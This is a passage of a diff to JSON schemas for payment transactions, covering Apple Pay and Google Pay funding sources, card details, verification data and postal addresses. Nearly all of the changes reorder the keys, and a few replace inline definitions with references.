usually a combination of `addressDetails.streetNumber` and `streetName` and `streetType`.", + "properties": { + "addressType": { + "description": "The type of address. Single character representation of a type. For example: 'B' for building, 'F' for organization, 'G' for general delivery, 'H' for high-rise, 'L' for large-volume organization, 'P' for Post Office box or delivery service, 'R' for rural route, 'S' for street, 'U' for unidentified address.", + "maxLength": 1, + "type": "string" + }, + "buildingName": { + "description": "A named locations that represents the premise. Usually a building name or number or collection of buildings with a common name or number. For example, Craven House.", + "maxLength": 100, + "type": "string" + }, + "deliveryService": { + "description": "The delivery service. Post office box, bag number, or post office name.", + "maxLength": 100, + "type": "string" + }, + "geoCoordinates": { + "$id": "https://godaddy.com/schema/common/geo-coordinates.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "The geographic latitude and longitude coordinates.", + "properties": { + "latitude": { + "pattern": "^-?([1-8]?[1-9]|[1-9]0)\\.{1}\\d{1,6}", + "type": "string" + }, + "longitude": { + "pattern": "^-?([1]?[1-7][1-9]|[1]?[1-8][0]|[1-9]?[0-9])\\.{1}\\d{1,6}", + "type": "string" + } + }, + "required": [ + "longitude", + "latitude" + ], + "title": "Geographic Coordinates", + "type": "object" + }, + "streetName": { + "description": "The street name. Just `Drury` in `Drury Lane`.", + "maxLength": 100, + "type": "string" + }, + "streetNumber": { + "description": "The street number.", + "maxLength": 100, + "type": "string" + }, + "streetType": { + "description": "The street type. For example, avenue, boulevard, road, or expressway.", + "maxLength": 100, + "type": "string" + }, + "subBuilding": { + "description": "The first-order entity below a named building or location that represents the sub-premise. Usually a single building within a collection of buildings with a common name. Can be a flat, story, floor, room, or apartment.", + "maxLength": 100, + "type": "string" + } + }, + "title": "Address Details", + "type": "object" + }, "addressLine1": { - "type": "string", "description": "The first line of the address. For example, number and street name. For example, `3032 Bunker Hill Lane`. Required for compliance and risk checks. Must contain the full address.", - "maxLength": 300 + "maxLength": 300, + "type": "string" }, "addressLine2": { - "type": "string", "description": "The second line of the address. For example, office suite or apartment number.", - "maxLength": 300 + "maxLength": 300, + "type": "string" }, "addressLine3": { - "type": "string", "description": "The third line of the address, if needed. For example, a street complement for Brazil; direction text, such as `next to Opera House`; or a landmark reference in an Indian address.", - "maxLength": 100 - }, - "adminArea4": { - "description": "The neighborhood, ward, or district. Smaller than `adminArea3` or `subLocality`. For example, the postal sorting code that is used in Guernsey and many French territories, such as French Guiana; the fine-grained administrative levels in China.", - "type": "string", - "maxLength": 100 + "maxLength": 100, + "type": "string" }, - "adminArea3": { - "description": "A sub-locality, suburb, neighborhood, or district. Smaller than `adminArea2`. For example, in Brazil - Suburb, bairro, or neighborhood; in India - Sub-locality or district. Street name information may not always available and a sub-locality or district can reference a very small area.", - "type": "string", - "maxLength": 100 + "adminArea1": { + "description": "The highest level sub-division in a country, which is usually a province, state, or ISO-3166-2 subdivision; formatted for postal delivery. For example, `CA` and not `California`. For example, for UK - A county; for USs - A state; for Canada - A province; for Japan - A prefecture; for Switzerland - A kanton.", + "maxLength": 300, + "type": "string" }, "adminArea2": { "description": "A city, town, or village. Smaller than `adminArea1`.", - "type": "string", - "maxLength": 300 + "maxLength": 300, + "type": "string" }, - "adminArea1": { - "type": "string", - "description": "The highest level sub-division in a country, which is usually a province, state, or ISO-3166-2 subdivision; formatted for postal delivery. For example, `CA` and not `California`. For example, for UK - A county; for USs - A state; for Canada - A province; for Japan - A prefecture; for Switzerland - A kanton.", - "maxLength": 300 + "adminArea3": { + "description": "A sub-locality, suburb, neighborhood, or district. Smaller than `adminArea2`. For example, in Brazil - Suburb, bairro, or neighborhood; in India - Sub-locality or district. Street name information may not always available and a sub-locality or district can reference a very small area.", + "maxLength": 100, + "type": "string" }, - "postalCode": { - "type": "string", - "description": "The postal code, which is the zip code or equivalent. Typically required for countries that have a postal code or an equivalent. See [Postal code](https://en.wikipedia.org/wiki/Postal_code).", - "maxLength": 60 + "adminArea4": { + "description": "The neighborhood, ward, or district. Smaller than `adminArea3` or `subLocality`. For example, the postal sorting code that is used in Guernsey and many French territories, such as French Guiana; the fine-grained administrative levels in China.", + "maxLength": 100, + "type": "string" }, "countryCode": { - "description": "The [two-character ISO 3166-1 code](https://en.wikipedia.org/wiki/ISO_3166-1) that identifies the country or region. Note: The country code for Great Britain is `GB` and not `UK` as used in the top-level domain names for that country. Use country code `C2` for China for comparable uncontrolled price (CUP) method, bank-card, and cross-border transactions.", "$id": "https://godaddy.com/schemas/common-types/country-code.v1", "$schema": "http://json-schema.org/draft/2020-12/schema", - "type": "string", + "description": "A two-character ISO 3166-1 code that identifies the country or region.", "maxLength": 2, "minLength": 2, - "pattern": "^([A-Z]{2}|C2)$" + "pattern": "^([A-Z]{2}|C2)$", + "type": "string" }, - "addressDetails": { - "type": "object", - "title": "Address Details", - "description": "The non-portable additional address details that are sometimes needed for compliance, risk, or other scenarios where fine-grain address information might be needed. Not portable with common third-party and open-source address libraries and redundant with core fields. For example, `address.addressLine1` is usually a combination of `addressDetails.streetNumber` and `streetName` and `streetType`.", - "properties": { - "streetNumber": { - "description": "The street number.", - "type": "string", - "maxLength": 100 - }, - "streetName": { - "description": "The street name. Just `Drury` in `Drury Lane`.", - "type": "string", - "maxLength": 100 - }, - "streetType": { - "description": "The street type. For example, avenue, boulevard, road, or expressway.", - "type": "string", - "maxLength": 100 - }, - "deliveryService": { - "description": "The delivery service. Post office box, bag number, or post office name.", - "type": "string", - "maxLength": 100 - }, - "buildingName": { - "description": "A named locations that represents the premise. Usually a building name or number or collection of buildings with a common name or number. For example, Craven House.", - "type": "string", - "maxLength": 100 - }, - "subBuilding": { - "description": "The first-order entity below a named building or location that represents the sub-premise. Usually a single building within a collection of buildings with a common name. Can be a flat, story, floor, room, or apartment.", - "type": "string", - "maxLength": 100 - }, - "addressType": { - "description": "The type of address. Single character representation of a type. For example: 'B' for building, 'F' for organization, 'G' for general delivery, 'H' for high-rise, 'L' for large-volume organization, 'P' for Post Office box or delivery service, 'R' for rural route, 'S' for street, 'U' for unidentified address.", - "type": "string", - "maxLength": 1 - }, - "geoCoordinates": { - "description": "The latitude and longitude of the address. For example, `37.42242` and `-122.08585`.", - "$id": "https://godaddy.com/schema/common/geo-coordinates.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "object", - "title": "Geographic Coordinates", - "properties": { - "longitude": { - "type": "string", - "pattern": "^-?([1]?[1-7][1-9]|[1]?[1-8][0]|[1-9]?[0-9])\\.{1}\\d{1,6}" - }, - "latitude": { - "type": "string", - "pattern": "^-?([1-8]?[1-9]|[1-9]0)\\.{1}\\d{1,6}" - } - }, - "required": [ - "longitude", - "latitude" - ] - } - } + "postalCode": { + "description": "The postal code, which is the zip code or equivalent. Typically required for countries that have a postal code or an equivalent. See [Postal code](https://en.wikipedia.org/wiki/Postal_code).", + "maxLength": 60, + "type": "string" } }, "required": [ "countryCode" - ] + ], + "title": "Postal Address (Medium-Grained)", + "type": "object" } - } + }, + "title": "Token Verification Data", + "type": "object" } ], - "discriminator": { - "propertyName": "type", - "mapping": { - "CARD": "../verification-data/CardVerificationData.yaml", - "TOKEN": "../verification-data/TokenVerificationData.yaml" - } - }, "properties": { "type": { - "type": "string", - "description": "Discriminator type representing the type of verification data" + "description": "Discriminator type representing the type of verification data", + "type": "string" } }, "required": [ "type" - ] + ], + "title": "Verification Data", + "type": "object" } - } + }, + "title": "Payment Token Funding Source", + "type": "object" } ], + "description": "ApplePay Funding source", "properties": { - "token": { - "type": "string", - "description": "Apple pay token", - "writeOnly": true, - "x-sensitivity": { - "classification": "restricted" - }, - "x-propagation": { - "optional": true - }, - "x-field-extra-annotation": "@com.fasterxml.jackson.annotation.JsonIgnore" - }, "cardDetail": { - "description": "Card that was used with the Apple pay token", - "readOnly": true, "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/payment-card/card-detail.v2", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Detail", - "type": "object", + "description": "Details of the card used for processing transaction", "properties": { - "number": { - "type": "string", - "description": "Card number" - }, - "numberHashed": { - "type": "string", - "description": "Card number hashed", - "readOnly": true - }, - "type": { - "type": "string", - "enum": [ - "VISA", - "MASTERCARD", - "AMERICAN_EXPRESS", - "DISCOVER", - "INTERAC", - "BANCOMAT", - "MAESTRO", - "DINERS_CLUB", - "JCB", - "UNIONPAY", - "BANKAXEPT", - "OTHER" - ], - "description": "Type of the card" - }, - "source": { - "type": "string", - "description": "Source of the card", - "enum": [ - "DIRECT", - "PAZE", - "APPLE_PAY", - "GOOGLE_PAY" - ] - }, - "track1data": { - "type": "string", - "writeOnly": true, - "description": "In some use-cases (like airlines) Track1 is required. Track1 contains some extra information over Track2 (like cardholder's name)." - }, - "track2data": { - "type": "string", - "writeOnly": true, - "description": "Required for swiped transactions. Track2 read from the card contains PAN, expiration, etc." - }, - "track3data": { - "type": "string", - "writeOnly": true, - "description": "Track3 for future use. Carries track from custom funding sources." - }, - "firstName": { - "type": "string", - "description": "First name of card holder" - }, - "lastName": { - "type": "string", - "description": "Last name of card holder" - }, - "expMonth": { - "type": "integer", - "minimum": 1, - "maximum": 12 - }, - "expYear": { - "type": "integer", - "minimum": 2000, - "maximum": 9999 - }, - "sequenceNumber": { + "currency": { + "$id": "https://godaddy.com/schemas/commerce/transaction/currency.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "ISO 4217 Currency codes", + "example": "USD", + "maxLength": 3, + "minLength": 3, + "title": "Currency", "type": "string", - "writeOnly": true, - "description": "Sequence number to distinguish between 2 cards with same PAN." + "x-currency-type": true, + "x-custom-type": true }, - "serviceCode": { - "type": "string", - "writeOnly": true, - "description": "Track data read from card" + "emvTags": { + "$id": "https://godaddy.com/schemas/commerce/transaction/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 40, + "minProperties": 0, + "title": "Dictionary", + "type": "object" }, "encrypted": { - "type": "boolean", "default": true, "description": "True if the card number is encrypted", + "type": "boolean", "writeOnly": true }, - "keySerialNumber": { - "type": "string", - "writeOnly": true, - "description": "For DUKPT encryption" - }, "entryDetails": { - "description": "Card entry details", "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/payment-card/card-entry-detail.v2", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Entry Detail", - "type": "object", + "description": "Details on how the card is used during transaction", "properties": { - "iccFallback": { - "type": "boolean", - "description": "indicates whether there was a fallback to MSR from EMV", + "customerPresent": { "default": false, - "writeOnly": true + "description": "Indicates whether customer was present during transaction", + "type": "boolean" }, "entryMethod": { - "type": "string", "description": "Entry mode for the card", "enum": [ "KEYED", @@ -3961,210 +3958,205 @@ "CL_MSR", "ICC", "CL_ICC" - ] + ], + "type": "string" }, - "customerPresent": { + "iccFallback": { + "default": false, + "description": "indicates whether there was a fallback to MSR from EMV", "type": "boolean", - "description": "Indicates whether customer was present during transaction", - "default": false + "writeOnly": true } - } + }, + "title": "Card Entry Detail", + "type": "object" + }, + "expMonth": { + "maximum": 12, + "minimum": 1, + "type": "integer" + }, + "expYear": { + "maximum": 9999, + "minimum": 2000, + "type": "integer" + }, + "firstName": { + "description": "First name of card holder", + "type": "string" }, "interacMacDetail": { - "writeOnly": true, - "description": "Card Interacmac details", "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/payment-card/interacmac.v2", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Interac Mac", - "type": "object", + "description": "Interac Mac details of the Payment card", "properties": { "interacMac": { - "type": "string", - "description": "Interac mac details for canada based cards" + "description": "Interac mac details for canada based cards", + "type": "string" }, "interacMacKSN": { - "type": "string", - "description": "Interac mac key serial number for canada based cards" + "description": "Interac mac key serial number for canada based cards", + "type": "string" } }, "required": [ "interacMac", "interacMacKSN" - ] - }, - "emvTags": { - "writeOnly": true, - "description": "Card EMV tags", - "$id": "https://godaddy.com/schemas/commerce/transaction/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 40, - "additionalProperties": { - "type": "string", - "maxLength": 256 - } + ], + "title": "Interac Mac", + "type": "object" }, - "currency": { - "description": "Card's native currency code, when available.", - "$id": "https://godaddy.com/schemas/commerce/transaction/currency.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Currency", + "keySerialNumber": { + "description": "For DUKPT encryption", "type": "string", - "example": "USD", - "minLength": 3, - "maxLength": 3, - "x-custom-type": true, - "x-currency-type": true + "writeOnly": true + }, + "lastName": { + "description": "Last name of card holder", + "type": "string" }, "legacyData": { - "deprecated": true, - "description": "Contains card details represented by legacy system", - "$id": "https://poynt.godaddy.com/schemas/funding-source/card-detail.v2", - "$schema": "https://json-schema.org/draft/2019-09/schema", - "type": "object", "$defs": { "LegacyCardAgreement": { - "type": "object", + "description": "Object to keep track of card agreements for referenced transactions and recurring billing.", "properties": { "agreedOn": { - "type": "string", + "description": "Timestamp for when this agreement was agreed.", "format": "date-time", - "description": "Timestamp for when this agreement was agreed." + "type": "string" }, "businessId": { - "type": "string", - "description": "Business UUID that this card agreement belongs to." + "description": "Business UUID that this card agreement belongs to.", + "type": "string" }, "cardId": { - "type": "string", - "description": "Card UUID that this card agreement belongs to." + "description": "Card UUID that this card agreement belongs to.", + "type": "string" }, "createdAt": { - "type": "string", - "format": "date-time" + "format": "date-time", + "type": "string" }, "declinedOn": { - "type": "string", + "description": "Timestamp for when this agreement was declined.", "format": "date-time", - "description": "Timestamp for when this agreement was declined." + "type": "string" }, "email": { - "type": "string", - "description": "The customer email that we will send the agreement to." + "description": "The customer email that we will send the agreement to.", + "type": "string" }, "id": { - "type": "string", - "description": "UUID of the card agreement." + "description": "UUID of the card agreement.", + "type": "string" }, "metadata": { - "description": "Card agreement metadata. Will hold the agreement template properties.", - "type": "object", + "description": "Object to represent card agreement metadata. Will hold the agreement template properties, language, country code etc.", "properties": { "businessContact": { - "type": "string", "description": "Business contact or website.", - "maxLength": 1024 + "maxLength": 1024, + "type": "string" }, "businessName": { - "type": "string", "description": "Business name.", - "maxLength": 128 + "maxLength": 128, + "type": "string" }, "businessPhone": { - "type": "string", "description": "Business phone.", - "maxLength": 16 + "maxLength": 16, + "type": "string" }, "countryCode": { - "type": "string", "description": "Customer country code in ISO 3166-1 alpha-2 format, that was used to resolve template.", - "maxLength": 2 + "maxLength": 2, + "type": "string" }, "lang": { - "type": "string", "description": "Language of agreement template in ISO 639-1 format, that was used to resolve template.", - "maxLength": 2 + "maxLength": 2, + "type": "string" } - } + }, + "type": "object" }, "status": { - "type": "string", "description": "[Required] The type of card agreement status.", "enum": [ "ACCEPTED", "DELETED", "INACTIVE" - ] + ], + "type": "string" }, "txnId": { - "type": "string", - "description": "Transaction UUID where this agreement is accepted." + "description": "Transaction UUID where this agreement is accepted.", + "type": "string" }, "updatedAt": { - "type": "string", - "format": "date-time" + "format": "date-time", + "type": "string" }, "version": { - "type": "integer", - "description": "The version of agreement." + "description": "The version of agreement.", + "type": "integer" } }, - "description": "Object to keep track of card agreements for referenced transactions and recurring billing." + "type": "object" }, "LegacyCardAgreementMetadata": { - "type": "object", + "description": "Object to represent card agreement metadata. Will hold the agreement template properties, language, country code etc.", "properties": { "businessContact": { - "type": "string", "description": "Business contact or website.", - "maxLength": 1024 + "maxLength": 1024, + "type": "string" }, "businessName": { - "type": "string", "description": "Business name.", - "maxLength": 128 + "maxLength": 128, + "type": "string" }, "businessPhone": { - "type": "string", "description": "Business phone.", - "maxLength": 16 + "maxLength": 16, + "type": "string" }, "countryCode": { - "type": "string", "description": "Customer country code in ISO 3166-1 alpha-2 format, that was used to resolve template.", - "maxLength": 2 + "maxLength": 2, + "type": "string" }, "lang": { - "type": "string", "description": "Language of agreement template in ISO 639-1 format, that was used to resolve template.", - "maxLength": 2 + "maxLength": 2, + "type": "string" } }, - "description": "Object to represent card agreement metadata. Will hold the agreement template properties, language, country code etc." + "type": "object" }, "LegacyCardBrand": { - "type": "object", + "description": "This object represents CardBrand.", "properties": { "brand": { "type": "string" }, "createdAt": { - "type": "string", - "format": "date-time" + "format": "date-time", + "type": "string" }, "displayName": { - "type": "string", + "maxLength": 50, "minLength": 3, - "maxLength": 50 + "type": "string" }, "id": { "type": "string" }, "issuerBank": { - "type": "string", - "maxLength": 150 + "maxLength": 150, + "type": "string" }, "logoUrl": { "type": "string" @@ -4173,29 +4165,35 @@ "type": "string" } }, - "description": "This object represents CardBrand." + "type": "object" + }, + "LegacyCardKey": { + "enum": [ + "WCK", + "WAEK", + "WMACK" + ], + "type": "string" }, "LegacyCardKeyData": { - "type": "object", "properties": { "id": { - "description": "The key identifier.", - "type": "string", "enum": [ "WCK", "WAEK", "WMACK" - ] + ], + "type": "string" }, "version": { - "type": "string", "description": "Version of the key.", - "maxLength": 4 + "maxLength": 4, + "type": "string" } - } + }, + "type": "object" }, "LegacyCardType": { - "type": "string", "enum": [ "AMERICAN_EXPRESS", "EBT", @@ -4214,135 +4212,97 @@ "UNIONPAY", "VISA", "BANKAXEPT" - ] - }, - "LegacyCardKey": { - "type": "string", - "enum": [ - "WCK", - "WAEK", - "WMACK" - ] + ], + "type": "string" } }, + "$id": "https://poynt.godaddy.com/schemas/funding-source/card-detail.v2", + "$schema": "https://json-schema.org/draft/2019-09/schema", + "deprecated": true, + "description": "Object to carry credit/debit card information.", "properties": { "cardAgreement": { - "type": "object", + "description": "Object to keep track of card agreements for referenced transactions and recurring billing.", "properties": { "agreedOn": { - "type": "string", + "description": "Timestamp for when this agreement was agreed.", "format": "date-time", - "description": "Timestamp for when this agreement was agreed." + "type": "string" }, "businessId": { - "type": "string", - "description": "Business UUID that this card agreement belongs to." + "description": "Business UUID that this card agreement belongs to.", + "type": "string" }, "cardId": { - "type": "string", - "description": "Card UUID that this card agreement belongs to." + "description": "Card UUID that this card agreement belongs to.", + "type": "string" }, "createdAt": { - "type": "string", - "format": "date-time" + "format": "date-time", + "type": "string" }, "declinedOn": { - "type": "string", + "description": "Timestamp for when this agreement was declined.", "format": "date-time", - "description": "Timestamp for when this agreement was declined." + "type": "string" }, "email": { - "type": "string", - "description": "The customer email that we will send the agreement to." + "description": "The customer email that we will send the agreement to.", + "type": "string" }, "id": { - "type": "string", - "description": "UUID of the card agreement." + "description": "UUID of the card agreement.", + "type": "string" }, "metadata": { - "description": "Card agreement metadata. Will hold the agreement template properties.", - "type": "object", - "properties": { - "businessContact": { - "type": "string", - "description": "Business contact or website.", - "maxLength": 1024 - }, - "businessName": { - "type": "string", - "description": "Business name.", - "maxLength": 128 - }, - "businessPhone": { - "type": "string", - "description": "Business phone.", - "maxLength": 16 - }, - "countryCode": { - "type": "string", - "description": "Customer country code in ISO 3166-1 alpha-2 format, that was used to resolve template.", - "maxLength": 2 - }, - "lang": { - "type": "string", - "description": "Language of agreement template in ISO 639-1 format, that was used to resolve template.", - "maxLength": 2 - } - } + "$ref": "#/$defs/LegacyCardAgreementMetadata", + "description": "Card agreement metadata. Will hold the agreement template properties." }, "status": { - "type": "string", "description": "[Required] The type of card agreement status.", "enum": [ "ACCEPTED", "DELETED", "INACTIVE" - ] + ], + "type": "string" }, "txnId": { - "type": "string", - "description": "Transaction UUID where this agreement is accepted." + "description": "Transaction UUID where this agreement is accepted.", + "type": "string" }, "updatedAt": { - "type": "string", - "format": "date-time" + "format": "date-time", + "type": "string" }, "version": { - "type": "integer", - "description": "The version of agreement." + "description": "The version of agreement.", + "type": "integer" } }, - "description": "Object to keep track of card agreements for referenced transactions and recurring billing." - }, - "status": { - "type": "string", - "description": "Status of the card.", - "enum": [ - "ACTIVE", - "REMOVED" - ] + "type": "object" }, "cardBrand": { - "type": "object", + "description": "This object represents CardBrand.", "properties": { "brand": { "type": "string" }, "createdAt": { - "type": "string", - "format": "date-time" + "format": "date-time", + "type": "string" }, "displayName": { - "type": "string", + "maxLength": 50, "minLength": 3, - "maxLength": 50 + "type": "string" }, "id": { "type": "string" }, "issuerBank": { - "type": "string", - "maxLength": 150 + "maxLength": 150, + "type": "string" }, "logoUrl": { "type": "string" @@ -4351,73 +4311,74 @@ "type": "string" } }, - "description": "This object represents CardBrand." + "type": "object" }, "cardHolderFullName": { - "type": "string", "description": "Card holder's full name usually picked from track1.", - "maxLength": 256 + "maxLength": 256, + "type": "string" }, "cardId": { - "type": "string", - "description": "The uuid of the card created" + "description": "The uuid of the card created", + "type": "string" }, "encrypted": { - "type": "boolean", - "description": "True if track, PAN, expiration are encrypted." + "description": "True if track, PAN, expiration are encrypted.", + "type": "boolean" }, "encryptedExpirationDate": { - "type": "string", - "description": "If encryption is true, a single encrypted expiration date (containing year, month and possibly date) is provided here." + "description": "If encryption is true, a single encrypted expiration date (containing year, month and possibly date) is provided here.", + "type": "string" }, "expirationDate": { - "type": "integer", - "description": "The date from expiration. Date is typically only present in EMV cards." + "description": "The date from expiration. Date is typically only present in EMV cards.", + "type": "integer" }, "id": { - "type": "integer", - "description": "The id of the card created." + "description": "The id of the card created.", + "type": "integer" }, "issuer": { "type": "string" }, "key": { "description": "List of keys and their versions being used. If encrypted is true, only one of key and keySerialNumber can be populated (not both).", - "type": "array", "items": { - "type": "object", "properties": { "id": { - "description": "The key identifier.", - "type": "string", - "enum": [ - "WCK", - "WAEK", - "WMACK" - ] + "$ref": "#/$defs/LegacyCardKey", + "description": "The key identifier." }, "version": { - "type": "string", "description": "Version of the key.", - "maxLength": 4 + "maxLength": 4, + "type": "string" } - } - } + }, + "type": "object" + }, + "type": "array" }, "numberFirst6": { - "type": "string", - "description": "This is a response field. The first6 numbers of the PAN." + "description": "This is a response field. The first6 numbers of the PAN.", + "type": "string" }, "numberHashed": { "type": "string" }, "numberLast4": { - "type": "string", - "description": "This is a response field. The last4 numbers of the PAN." + "description": "This is a response field. The last4 numbers of the PAN.", + "type": "string" + }, + "status": { + "description": "Status of the card.", + "enum": [ + "ACTIVE", + "REMOVED" + ], + "type": "string" }, "type": { - "description": "The network card belongs to: DISCOVER, VISA, MASTERCARD, AMEX, etc.", - "type": "string", "enum": [ "AMERICAN_EXPRESS", "EBT", @@ -4436,490 +4397,486 @@ "UNIONPAY", "VISA", "BANKAXEPT" - ] + ], + "type": "string" } - } + }, + "type": "object" + }, + "number": { + "description": "Card number", + "type": "string" + }, + "numberHashed": { + "description": "Card number hashed", + "readOnly": true, + "type": "string" + }, + "sequenceNumber": { + "description": "Sequence number to distinguish between 2 cards with same PAN.", + "type": "string", + "writeOnly": true + }, + "serviceCode": { + "description": "Track data read from card", + "type": "string", + "writeOnly": true + }, + "source": { + "description": "Source of the card", + "enum": [ + "DIRECT", + "PAZE", + "APPLE_PAY", + "GOOGLE_PAY" + ], + "type": "string" + }, + "track1data": { + "description": "In some use-cases (like airlines) Track1 is required. Track1 contains some extra information over Track2 (like cardholder's name).", + "type": "string", + "writeOnly": true + }, + "track2data": { + "description": "Required for swiped transactions. Track2 read from the card contains PAN, expiration, etc.", + "type": "string", + "writeOnly": true + }, + "track3data": { + "description": "Track3 for future use. Carries track from custom funding sources.", + "type": "string", + "writeOnly": true + }, + "type": { + "description": "Type of the card", + "enum": [ + "VISA", + "MASTERCARD", + "AMERICAN_EXPRESS", + "DISCOVER", + "INTERAC", + "BANCOMAT", + "MAESTRO", + "DINERS_CLUB", + "JCB", + "UNIONPAY", + "BANKAXEPT", + "OTHER" + ], + "type": "string" } }, "required": [ "type", "number", "source" - ] + ], + "title": "Card Detail", + "type": "object" + }, + "token": { + "description": "Apple pay token", + "type": "string", + "writeOnly": true, + "x-field-extra-annotation": "@com.fasterxml.jackson.annotation.JsonIgnore", + "x-propagation": { + "optional": true + }, + "x-sensitivity": { + "classification": "restricted" + } } - } + }, + "title": "ApplePay Payment Token", + "type": "object" }, { "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/google-pay-token.v2", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "GooglePay Payment Token", - "description": "GooglePay Funding source", - "type": "object", "allOf": [ { "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/payment-token.v2", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Payment Token Funding Source", - "type": "object", "description": "Payment Token Funding source", "properties": { "verificationData": { - "description": "Verification data", - "writeOnly": true, "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/verification.v2", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Verification Data", - "type": "object", + "description": "Verification data for funding source", + "discriminator": { + "mapping": { + "CARD": "../verification-data/CardVerificationData.yaml", + "TOKEN": "../verification-data/TokenVerificationData.yaml" + }, + "propertyName": "type" + }, "oneOf": [ { "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/card-verification.v2", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Verification Data", "description": "Verification data for the card used as funding source", - "type": "object", "properties": { - "cardPin": { - "type": "string", - "description": "Card pin block.", - "writeOnly": true - }, - "cardPinKeySerialNumber": { - "type": "string", - "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", - "writeOnly": true - }, - "cvSkipReason": { - "type": "string", - "description": "CVV skipped because of this reason.", - "writeOnly": true - }, - "cvData": { - "type": "string", - "description": "CVV information typically at the back of the card.", - "writeOnly": true - }, "cardHolderBillingAddress": { - "description": "Address for AVS", - "writeOnly": true, "$id": "https://godaddy.com/schema/common/address.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "object", - "title": "Postal Address (Medium-Grained)", + "description": "An internationalized postal address. Maps to [AddressValidationMetadata](https://github.com/googlei18n/libaddressinput/wiki/AddressValidationMetadata) from Google's Address Data Service and HTML 5.1 [Autofilling form controls: the autocomplete attribute](https://www.w3.org/TR/html51/sec-forms.html#autofilling-form-controls-the-autocomplete-attribute).", "properties": { - "addressLine1": { - "type": "string", - "description": "The first line of the address. For example, number and street name. For example, `3032 Bunker Hill Lane`. Required for compliance and risk checks. Must contain the full address.", - "maxLength": 300 - }, - "addressLine2": { - "type": "string", - "description": "The second line of the address. For example, office suite or apartment number.", - "maxLength": 300 - }, - "addressLine3": { - "type": "string", - "description": "The third line of the address, if needed. For example, a street complement for Brazil; direction text, such as `next to Opera House`; or a landmark reference in an Indian address.", - "maxLength": 100 - }, - "adminArea4": { - "description": "The neighborhood, ward, or district. Smaller than `adminArea3` or `subLocality`. For example, the postal sorting code that is used in Guernsey and many French territories, such as French Guiana; the fine-grained administrative levels in China.", - "type": "string", - "maxLength": 100 - }, - "adminArea3": { - "description": "A sub-locality, suburb, neighborhood, or district. Smaller than `adminArea2`. For example, in Brazil - Suburb, bairro, or neighborhood; in India - Sub-locality or district. Street name information may not always available and a sub-locality or district can reference a very small area.", - "type": "string", - "maxLength": 100 - }, - "adminArea2": { - "description": "A city, town, or village. Smaller than `adminArea1`.", - "type": "string", - "maxLength": 300 - }, - "adminArea1": { - "type": "string", - "description": "The highest level sub-division in a country, which is usually a province, state, or ISO-3166-2 subdivision; formatted for postal delivery. For example, `CA` and not `California`. For example, for UK - A county; for USs - A state; for Canada - A province; for Japan - A prefecture; for Switzerland - A kanton.", - "maxLength": 300 - }, - "postalCode": { - "type": "string", - "description": "The postal code, which is the zip code or equivalent. Typically required for countries that have a postal code or an equivalent. See [Postal code](https://en.wikipedia.org/wiki/Postal_code).", - "maxLength": 60 - }, - "countryCode": { - "description": "The [two-character ISO 3166-1 code](https://en.wikipedia.org/wiki/ISO_3166-1) that identifies the country or region. Note: The country code for Great Britain is `GB` and not `UK` as used in the top-level domain names for that country. Use country code `C2` for China for comparable uncontrolled price (CUP) method, bank-card, and cross-border transactions.", - "$id": "https://godaddy.com/schemas/common-types/country-code.v1", - "$schema": "http://json-schema.org/draft/2020-12/schema", - "type": "string", - "maxLength": 2, - "minLength": 2, - "pattern": "^([A-Z]{2}|C2)$" - }, "addressDetails": { - "type": "object", - "title": "Address Details", "description": "The non-portable additional address details that are sometimes needed for compliance, risk, or other scenarios where fine-grain address information might be needed. Not portable with common third-party and open-source address libraries and redundant with core fields. For example, `address.addressLine1` is usually a combination of `addressDetails.streetNumber` and `streetName` and `streetType`.", "properties": { - "streetNumber": { - "description": "The street number.", - "type": "string", - "maxLength": 100 - }, - "streetName": { - "description": "The street name. Just `Drury` in `Drury Lane`.", - "type": "string", - "maxLength": 100 - }, - "streetType": { - "description": "The street type. For example, avenue, boulevard, road, or expressway.", - "type": "string", - "maxLength": 100 - }, - "deliveryService": { - "description": "The delivery service. Post office box, bag number, or post office name.", - "type": "string", - "maxLength": 100 + "addressType": { + "description": "The type of address. Single character representation of a type. For example: 'B' for building, 'F' for organization, 'G' for general delivery, 'H' for high-rise, 'L' for large-volume organization, 'P' for Post Office box or delivery service, 'R' for rural route, 'S' for street, 'U' for unidentified address.", + "maxLength": 1, + "type": "string" }, "buildingName": { "description": "A named locations that represents the premise. Usually a building name or number or collection of buildings with a common name or number. For example, Craven House.", - "type": "string", - "maxLength": 100 - }, - "subBuilding": { - "description": "The first-order entity below a named building or location that represents the sub-premise. Usually a single building within a collection of buildings with a common name. Can be a flat, story, floor, room, or apartment.", - "type": "string", - "maxLength": 100 + "maxLength": 100, + "type": "string" }, - "addressType": { - "description": "The type of address. Single character representation of a type. For example: 'B' for building, 'F' for organization, 'G' for general delivery, 'H' for high-rise, 'L' for large-volume organization, 'P' for Post Office box or delivery service, 'R' for rural route, 'S' for street, 'U' for unidentified address.", - "type": "string", - "maxLength": 1 + "deliveryService": { + "description": "The delivery service. Post office box, bag number, or post office name.", + "maxLength": 100, + "type": "string" }, "geoCoordinates": { - "description": "The latitude and longitude of the address. For example, `37.42242` and `-122.08585`.", "$id": "https://godaddy.com/schema/common/geo-coordinates.v1", "$schema": 